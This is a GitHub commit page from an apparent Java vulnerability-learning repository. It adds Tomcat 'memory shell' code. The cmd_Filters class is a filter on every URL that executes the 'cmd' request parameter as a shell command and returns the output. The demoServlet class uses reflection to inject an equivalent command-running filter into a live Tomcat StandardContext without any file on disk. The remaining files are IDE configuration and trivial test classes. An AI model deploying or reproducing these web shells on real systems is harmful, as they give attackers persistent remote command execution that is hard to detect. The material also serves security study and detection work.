Skip to content

Commit 2231700

Browse files
SummerSecSummerSec
committed
mem
1 parent 83aff0d commit 2231700

File tree

15 files changed

+387
-44
lines changed

15 files changed

+387
-44
lines changed

‎JavaLearnVulnerability.iml‎

Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,11 @@
1+
<?xml version="1.0" encoding="UTF-8"?>
2+
<module type="JAVA_MODULE" version="4">
3+
<component name="NewModuleRootManager" inherit-compiler-output="true">
4+
<exclude-output />
5+
<content url="file://$MODULE_DIR$">
6+
<sourceFolder url="file://$MODULE_DIR$/src" isTestSource="false" />
7+
</content>
8+
<orderEntry type="inheritedJdk" />
9+
<orderEntry type="sourceFolder" forTests="false" />
10+
</component>
11+
</module>

‎MemShell/MemShell.iml‎

Lines changed: 44 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,44 @@
1+
<?xml version="1.0" encoding="UTF-8"?>
2+
<module type="JAVA_MODULE" version="4">
3+
<component name="FacetManager">
4+
<facet type="web" name="Web">
5+
<configuration>
6+
<descriptors>
7+
<deploymentDescriptor name="web.xml" url="file://$MODULE_DIR$/web/WEB-INF/web.xml" />
8+
</descriptors>
9+
<webroots>
10+
<root url="file://$MODULE_DIR$/web" relative="/" />
11+
</webroots>
12+
</configuration>
13+
</facet>
14+
</component>
15+
<component name="NewModuleRootManager">
16+
<output url="file://$MODULE_DIR$/web/WEB-INF/classes" />
17+
<output-test url="file://$MODULE_DIR$/web/WEB-INF/classes" />
18+
<exclude-output />
19+
<content url="file://$MODULE_DIR$">
20+
<sourceFolder url="file://$MODULE_DIR$/src" isTestSource="false" />
21+
</content>
22+
<orderEntry type="inheritedJdk" />
23+
<orderEntry type="sourceFolder" forTests="false" />
24+
<orderEntry type="module-library">
25+
<library>
26+
<CLASSES>
27+
<root url="jar://D:/Tomcat9/lib/servlet-api.jar!/" />
28+
</CLASSES>
29+
<JAVADOC />
30+
<SOURCES />
31+
</library>
32+
</orderEntry>
33+
<orderEntry type="module-library">
34+
<library>
35+
<CLASSES>
36+
<root url="file://D:/Tomcat9/lib" />
37+
</CLASSES>
38+
<JAVADOC />
39+
<SOURCES />
40+
<jarDirectory url="file://D:/Tomcat9/lib" recursive="false" />
41+
</library>
42+
</orderEntry>
43+
</component>
44+
</module>

‎MemShell/src/memshell/tomcat/TestFilter.java‎

Lines changed: 30 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,30 @@
1+
package memshell.tomcat;
2+
3+
/**
4+
* @ClassName: TestFilter
5+
* @Description: TODO
6+
* @Author: Summer
7+
* @Date: 2021/7/16 13:19
8+
* @Version: v1.0.0
9+
* @Description:
10+
**/
11+
import javax.servlet.*;
12+
import java.io.IOException;
13+
14+
public class TestFilter implements Filter {
15+
16+
@Override
17+
public void init(FilterConfig filterConfig) throws ServletException {
18+
System.out.println("Filter init is ok!");
19+
}
20+
21+
@Override
22+
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
23+
System.out.println("do Filter is ok!");
24+
filterChain.doFilter(servletRequest,servletResponse);
25+
System.out.println("do Filter after");
26+
}
27+
28+
@Override
29+
public void destroy() {}
30+
}

‎MemShell/src/memshell/tomcat/TestServlet.java‎

Lines changed: 32 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,32 @@
1+
package memshell.tomcat;
2+
3+
/**
4+
* @ClassName: TestSevlet
5+
* @Description: TODO
6+
* @Author: Summer
7+
* @Date: 2021/7/16 10:17
8+
* @Version: v1.0.0
9+
* @Description:
10+
**/
11+
import javax.servlet.ServletException;
12+
import javax.servlet.annotation.WebServlet;
13+
import javax.servlet.http.HttpServlet;
14+
import javax.servlet.http.HttpServletRequest;
15+
import javax.servlet.http.HttpServletResponse;
16+
import java.io.IOException;
17+
18+
19+
@WebServlet("/TestServlet")
20+
public class TestServlet extends HttpServlet {
21+
22+
@Override
23+
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
24+
// super.doGet(req, resp);
25+
resp.getWriter().write("my first servlet");
26+
}
27+
28+
@Override
29+
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
30+
// super.doPost(req, resp);
31+
}
32+
}

‎MemShell/src/memshell/tomcat/cmd_Filters.java‎

Lines changed: 53 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,53 @@
1+
package memshell.tomcat;
2+
3+
import javax.servlet.*;
4+
import javax.servlet.annotation.WebFilter;
5+
import javax.servlet.annotation.WebServlet;
6+
import javax.servlet.http.HttpServletRequest;
7+
import javax.servlet.http.HttpServletResponse;
8+
9+
import java.io.IOException;
10+
import java.io.InputStream;
11+
import java.util.Scanner;
12+
/**
13+
* @ClassName: cmd_Filters
14+
* @Description: TODO
15+
* @Author: Summer
16+
* @Date: 2021/7/16 15:33
17+
* @Version: v1.0.0
18+
* @Description:
19+
**/
20+
21+
@WebFilter("/*")
22+
public class cmd_Filters implements Filter {
23+
@Override
24+
public void destroy() {
25+
}
26+
27+
@Override
28+
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException {
29+
HttpServletRequest req = (HttpServletRequest) request;
30+
HttpServletResponse resp = (HttpServletResponse) response;
31+
if (req.getParameter("cmd") != null) {
32+
boolean isLinux = true;
33+
String osTyp = System.getProperty("os.name");
34+
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
35+
isLinux = false;
36+
}
37+
String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")};
38+
String charsetName = System.getProperty("os.name").toLowerCase().contains("window") ? "GBK":"UTF-8";
39+
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
40+
Scanner s = new Scanner(in,charsetName).useDelimiter("\\A");
41+
String output = s.hasNext() ? s.next() : "";
42+
resp.getWriter().write(output);
43+
resp.getWriter().flush();
44+
}
45+
chain.doFilter(request, response);
46+
}
47+
48+
@Override
49+
public void init(FilterConfig config) throws ServletException {
50+
51+
}
52+
53+
}

‎MemShell/src/memshell/tomcat/demoServlet.java‎

Lines changed: 131 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,131 @@
1+
package memshell.tomcat;
2+
3+
/**
4+
* @ClassName: demoServlet
5+
* @Description: TODO
6+
* @Author: Summer
7+
* @Date: 2021/7/16 15:41
8+
* @Version: v1.0.0
9+
* @Description:
10+
**/
11+
import org.apache.catalina.Context;
12+
import org.apache.catalina.core.ApplicationContext;
13+
import org.apache.catalina.core.ApplicationFilterConfig;
14+
import org.apache.catalina.core.StandardContext;
15+
import org.apache.tomcat.util.descriptor.web.FilterDef;
16+
import org.apache.tomcat.util.descriptor.web.FilterMap;
17+
18+
import javax.servlet.*;
19+
import javax.servlet.annotation.WebServlet;
20+
import javax.servlet.http.HttpServlet;
21+
import javax.servlet.http.HttpServletRequest;
22+
import javax.servlet.http.HttpServletResponse;
23+
import java.io.IOException;
24+
import java.io.InputStream;
25+
import java.lang.reflect.Constructor;
26+
import java.lang.reflect.Field;
27+
28+
import java.util.Map;
29+
import java.util.Scanner;
30+
31+
@WebServlet("/demoServlet")
32+
public class demoServlet extends HttpServlet {
33+
@Override
34+
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
35+
36+
37+
// org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
38+
// org.apache.catalina.webresources.StandardRoot standardroot = (org.apache.catalina.webresources.StandardRoot) webappClassLoaderBase.getResources();
39+
// org.apache.catalina.core.StandardContext standardContext = (StandardContext) standardroot.getContext();
40+
// 该获取StandardContext测试报错
41+
Field Configs = null;
42+
Map filterConfigs;
43+
try {
44+
//这里是反射获取ApplicationContext的context，也就是standardContext
45+
ServletContext servletContext = request.getSession().getServletContext();
46+
47+
Field appctx = servletContext.getClass().getDeclaredField("context");
48+
appctx.setAccessible(true);
49+
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
50+
51+
Field stdctx = applicationContext.getClass().getDeclaredField("context");
52+
stdctx.setAccessible(true);
53+
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
54+
55+
56+
57+
String FilterName = "cmd_Filter";
58+
Configs = standardContext.getClass().getDeclaredField("filterConfigs");
59+
Configs.setAccessible(true);
60+
filterConfigs = (Map) Configs.get(standardContext);
61+
62+
if (filterConfigs.get(FilterName) == null){
63+
Filter filter = new Filter() {
64+
65+
@Override
66+
public void init(FilterConfig filterConfig) throws ServletException {
67+
68+
}
69+
70+
@Override
71+
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
72+
HttpServletRequest req = (HttpServletRequest) servletRequest;
73+
if (req.getParameter("cmd") != null){
74+
String charsetName = System.getProperty("os.name").toLowerCase().contains("window") ? "GBK":"UTF-8";
75+
76+
InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
77+
//
78+
Scanner s = new Scanner(in,charsetName).useDelimiter("\\A");
79+
String output = s.hasNext() ? s.next() : "";
80+
servletResponse.getWriter().write(output);
81+
82+
return;
83+
}
84+
filterChain.doFilter(servletRequest,servletResponse);
85+
}
86+
87+
@Override
88+
public void destroy() {
89+
90+
}
91+
};
92+
//反射获取FilterDef，设置filter名等参数后，调用addFilterDef将FilterDef添加
93+
Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
94+
Constructor declaredConstructors = FilterDef.getDeclaredConstructor();
95+
FilterDef o = (FilterDef)declaredConstructors.newInstance();
96+
o.setFilter(filter);
97+
o.setFilterName(FilterName);
98+
o.setFilterClass(filter.getClass().getName());
99+
standardContext.addFilterDef(o);
100+
//反射获取FilterMap并且设置拦截路径，并调用addFilterMapBefore将FilterMap添加进去
101+
Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
102+
Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor();
103+
org.apache.tomcat.util.descriptor.web.FilterMap o1 = (FilterMap)declaredConstructor.newInstance();
104+
105+
o1.addURLPattern("/*");
106+
o1.setFilterName(FilterName);
107+
o1.setDispatcher(DispatcherType.REQUEST.name());
108+
standardContext.addFilterMapBefore(o1);
109+
110+
//反射获取ApplicationFilterConfig，构造方法将 FilterDef传入后获取filterConfig后，将设置好的filterConfig添加进去
111+
Class<?> ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
112+
Constructor<?> declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class,FilterDef.class);
113+
declaredConstructor1.setAccessible(true);
114+
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext,o);
115+
filterConfigs.put(FilterName,filterConfig);
116+
response.getWriter().write("suc of suc");
117+
118+
119+
}
120+
} catch (Exception e) {
121+
e.printStackTrace();
122+
}
123+
124+
125+
}
126+
127+
@Override
128+
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
129+
this.doPost(request, response);
130+
}
131+
}

‎MemShell/web/WEB-INF/web.xml‎

Lines changed: 19 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,19 @@
1+
<?xml version="1.0" encoding="UTF-8"?>
2+
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
3+
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
4+
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
5+
version="4.0">
6+
7+
<filter>
8+
<filter-name>TestFilter</filter-name>
9+
<filter-class>memshell.tomcat.TestFilter</filter-class>
10+
</filter>
11+
12+
<filter-mapping>
13+
<filter-name>TestFilter</filter-name>
14+
<url-pattern>/*</url-pattern>
15+
</filter-mapping>
16+
17+
18+
19+
</web-app>

‎Rce_Echo/TomcatEcho/src/main/webapp/WEB-INF/jsp/index.jsp‎

Lines changed: 0 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -1,10 +1,3 @@
1-
<%--
2-
Created by Bearcat
3-
User: Administrator
4-
Date: 2018/10/15 0015
5-
Time: 20:36
6-
To change this template use File | Settings | File Templates.
7-
--%>
81
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
92
<html>
103
<head>

‎vuldemo/.idea/libraries/Maven__com_alibaba_fastjson_1_2_30.xml‎ renamed to ‎vuldemo/.idea/libraries/Maven__com_alibaba_fastjson_1_2_62.xml‎

Lines changed: 4 additions & 4 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

0 commit comments

Comments
 (0)